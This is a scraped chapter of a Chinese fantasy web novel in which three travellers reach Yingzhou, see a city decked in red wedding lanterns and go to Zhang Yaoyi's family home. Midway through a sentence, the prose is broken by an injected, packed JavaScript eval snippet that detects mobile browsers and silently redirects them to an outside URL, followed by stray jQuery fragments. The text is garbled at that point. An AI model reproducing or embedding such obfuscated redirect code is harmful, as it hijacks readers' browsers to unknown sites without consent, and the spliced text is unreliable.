28. chapter.28盈洲

作品:《天命便是我这般女子

    云舟靠岸,晴空无云。


    烟雨之色已经停了许久。


    下了云舟便到了盈洲落金港口。


    落金一名大有来头,盈洲出去直下三千尺之瀑布,最有名的便是银杏了。待到秋日,金叶满地,铺成一片黄金地。


    盈洲人称之为落金。


    而姜涟清三人下船的地方便是落金,只不过依章窈漪所说,绝音楼所在之地乃是盈洲锦年,芳华之地。


    山高水长,走过港口往路上去时,遥望山间便可见银白流水从云霄倾泻而下。


    这会的银杏还未变成金色,青绿混着杏黄,在树杈上接连排序。


    “浮洲素有江南意,盈洲恰有秋日情。”楚逢生咂咂嘴,感慨道。


    “这盈洲一看人灵地杰的,你不说我不说,谁知道这样一个地方藏了个邪祟呢?”


    姜涟清瞥他一眼,不置可否:“你注意点,最不容易许约的方法还是少说话,心里想想肯定没问题,不要说出来。”


    楚逢生:“我知道啊,我会注意的,这不是路还长,若是一路上不发一言,定然是要憋坏的,对吧,窈窈?”


    章窈漪转了圈眼珠子:“落金离锦年没有很远好吗?我们快一点,最多暮时肯定能到的。”


    姜涟清:“窈窈,锦年是个什么地方?看书上所说,芳华之地?”


    “我不太记得。”章窈漪离开时年纪太小,记忆里的家已然模糊,唯有阿姊的脸那样清晰。


    她轻轻拨弄双生昙花剑穗,心中一暖。


    她与阿姊不见快十年了,阿姊当时便是绝音楼天之骄女,现如今更是极为绝音楼楼主,该是何等风采?


    阿姊那般大家闺秀,也不知会不会因为性子太柔婉而受制。


    “说来也是,你那个时候毕竟还小。”姜涟清说。接着,她又想到当初盈洲之乱的消息了。


    最先知道这件事,其实是出于春望之口。


    虽说春望所言不得全信,可……


    姜涟清眸色一暗。


    可他说,当时吴云贺跪下求他救救那些无辜之人。且不说是否真的跪过,那当时究竟是何种险境呢?


    盈洲不得许约,最不得许期。然后呢?然后还有什么?


    章窈漪认得夏期的气息,却只说那是春望。那便能证明,当时只有春望暴露了自己的名字,背负了骂名。


    但当时解决的邪祟并不是春望。


    谜团还真是越来越多。真正踏入盈洲,姜涟清才想起来,自己对盈洲之乱分毫未知。


    章窈漪定然是经历过的,但小孩子的记忆未必记得太久远之事。


    至于楚逢生……


    她不动声色抬头,看着那张完美的侧脸。


    这人绝对不像表面上那样一问三不知,可要怎么让他说真话呢?她并不想逼他。


    楚逢生一定知道很重要的事。


    注意到身边少女投来的意味不明的目光,楚逢生顿觉莫名,不自在地挠了挠头。


    “你干什么看我?我脸上沾东西了?不会吧?”


    姜涟清:“……”


    姜涟清:“你对盈洲有了解吗?”


    楚逢生眨眨眼,生怕她看出来什么:“我对盈洲能有什么了解?”


    姜涟清:“你不是说你是初日洲来的吗?初日洲到降星洲不经过盈洲嘛?”


    楚逢生一听,心苦难耐:“涟清姐姐,那个是我吗?去降星洲的是我吗?我家在紫极洲,我跑去初日洲当医修了而已。我根本就没走过其他洲。”


    “哦。也对。”姜涟清转过头去,有些尴尬。


    是她先入为主了。


    去降星洲的明明是楚予思,可谁让她先认识的是楚逢生?这也是没办法的事,她都要忘了楚予思不是楚逢生了。


    说来也奇怪。


    就和章窈漪的大师兄怎么称呼都不会暴露其名一样,楚逢生也是一直被喊楚医师。


    这样一来,便直接将二人混淆了。


    姜涟清有点不高兴了,却也说不出来为什么不高兴。


    明明这样是对的。


    “那你当时怎么知道盈洲不得许期的?你真的是口误了吗?”


    楚逢生一手捂脸:“你记性也太好了吧!真的是口误啊。我发誓我要是……唔,唔!”


    姜涟清眼疾手快,直接跳起来捂住了他的嘴:“谁让你发誓了?闭嘴!”


    章窈漪幽幽说:“前不久才说过盈洲不得许约,你还一口一个发誓,嫌自己命太长吗?”


    楚逢生闻到了一阵清香,是姜涟清身上的味道。就在她指尖。


    于是他一下都没挣扎,支支吾吾了几声便安静了。


    姜涟清收手,狠狠剜了他一眼,烟青色的眼,眼波流转间星眸带刺,诉他口无遮拦,叫人担心。


    楚逢生感觉自己疯了。


    明明在凶他呢,他居然觉得怎么这么可爱。


    “我收回,这不是急于证明自己,就一下了忘记了吗哈哈哈……”


    “要警记于心啊。”姜涟清双手抱胸。


    *


    正如章窈漪所言,暮色时分便到了盈洲锦年。


    他们进的第一座城,是昙城。


    眼下已是初秋,恰巧赶得上最后一茬昙花。


    已是暮时,入街后自然见不到什么往来之人。倒是那大红灯笼高高挂起,点着明火,幽红光芒散发。


    于明月之下,倒显得诡异。


    不过这里的月亮并不与出入极夜洲时,那令人胆寒的苍凉之月相似,相反,它撒下的月辉是温和的。


    倒应了那词,温润如月。


    “怪了。”章窈漪站在一盏红灯笼下,红色的光笼罩了她全身,“谁要成亲了吗?怎么全都是红灯笼?”


    姜涟清:“这是何意?”


    章窈漪:“盈洲习俗,若是哪个名声大噪人家的子弟要成亲了,便会装扮一整座城,街上挂红灯笼,各家各户添红绸。”


    章窈漪一低头,清秀的眉毛一皱。


    可昙城最著名的家族,不就是她家吗?那是谁要成亲?是娶是嫁?是旁支还是本家?


    她太久没有回来了,对家里人的情况一概不知。


    最重要的是,这是一种许期。


    两家结了婚契,订了婚期,怎么可能不算许期?


    心跳一时急促,可她实际上是不知道为何不可许期的,没有任何防范手段。


    对了。


    很多人都不知道为何不可许约,因为一传十,十传百,后果在传递过程中被简化了。


    “那个,涟清姐姐。”章窈漪一点一点移到姜涟清身前,轻轻拉了拉她的衣袖。


    姜涟清:“怎么了?”


    章窈漪眼神复杂,鼓足勇气开口:“要去我家留宿吗?”


    楚逢生伸手拨了一下灯笼,见明火在笼中摇曳。


    楚逢生:“你家在这?”


    “对啊,我家就在昙城,怎么了?我好久没有回来过了。”章窈漪睫毛轻颤,“我的剑穗不就是昙花吗?是我阿姊送给我的,在我临走时给的。”


    “好呀。”姜涟清揉揉她的脑袋。


    虽然不知道这小姑娘什么算盘,但在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018754|178306||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    哪里留宿不是留宿?都不要紧。


    她这样说,想来是注意到了什么不寻常之事,可又不好意思直接说。既如此,就是遂了她的愿也未尝不可。


    “你家在哪里呢?劳烦窈窈带路了。”


    “这条街过去,有一条河,过了那座桥,就是我家了。”章窈漪指指尽头漆黑一片的街道,“我没有记错的话就是这样。”


    “我当时特别喜欢乱跑,如果我不乱跑的话,肯定就遇不上大师兄了。”


    姜涟清:“为什么?”


    章窈漪的眼睛黑亮黑亮:“因为大师兄就是在邪祟手中救下的我。”


    姜涟清没由来地转头去看楚逢生,从对方眼中捕捉到了一样难以言说的情绪。还真是……


    无论如何,这个大师兄若真如即墨逾所说会前来盈洲,那肯定是要见上一见的,绝对要问个明白。


    盈洲之乱有太多谜团了,而她并非局中人。


    二人跟着章窈漪一路走到了尽头,在桥边见到了几株未开的洁白昙花。


    恰逢花开时,月色如素,昙花于月下盛开,纯色的花瓣无任何瑕疵,仿若世间珍品。


    姜涟清只看了一眼,就踏上了红桥。


    章府的的确确就在这红桥后,所挂的灯笼,看起来比街上的华贵不少,火光都比街上更加明亮。


    午夜时分,万籁归寂。


    章窈漪敲响了刷了红漆的大门,立刻有小厮拉开门,肃声道:“谁啊?大半夜的来敲门。”说着便打了个哈欠。


    章窈漪也知现在时候太晚了,这些夜间守门人本就劳累:“抱歉,能通报一声吗?我是章窈漪。”


    小厮一时没有反应过来:“什么章窈漪不窈……不对,这名字……”


    他愣神好一会。


    “小小姐?”


    章窈漪:“嗯,是我。”


    小厮一时激动起来:“小、小小姐,您怎么回来了?”


    章窈漪:“我与我的朋友有事要找阿姊,可天色已晚,恰好到了昙城,便回家看看。”


    “我知道了小小姐。”小厮拉开大门,胳膊肘挤了一下身边打瞌睡的同伴。


    同伴霎时惊醒:“怎么了?什么事!”


    小厮:“快去通报一声,小小姐回来了!”


    “啊啊?什么?”


    “少说废话!”小厮狠狠拍了一下同伴的肩,“快去说!”


    “哎呦我去就是了!”同伴吃痛,清醒了不少,“等等,小小姐?!”他的声音都变调了。


    “我现在就去!”


    *


    弦音婉转,如流水长歌。


    玉色琵琶拨动琴弦。


    皓腕挽上女人肩头,在她耳畔吹了口气,琴音停止,只留水声潺潺。


    藕紫罗裙在帷幕之后绽成一朵紫花,少女挤进女人怀里,声音柔柔:“流儿真的要与他成亲吗?那个男人有什么好的。”


    女人推开红裙少女,提着琵琶撩开帷幕出去,清丽的面容沉着冷静,没有分给她一丝眼神。


    少女一下子跪倒在地,楚楚可人地看着帷幕后她的背影。


    “小流儿,你们可是许期了哦。”


    女人的脚步未曾停止。


    “你们可是,许期了哦~”


    女人将琵琶放回架上,绛红色的衣袖落到琵琶上,细细抚摸,没有回头的意思。


    少女见她无动于衷,便只能从地上爬起来,撩开帷幕,再度来到她身后。


    还未等她再抱上,女人终于开口。


    那声音轻灵。


    “秋许。”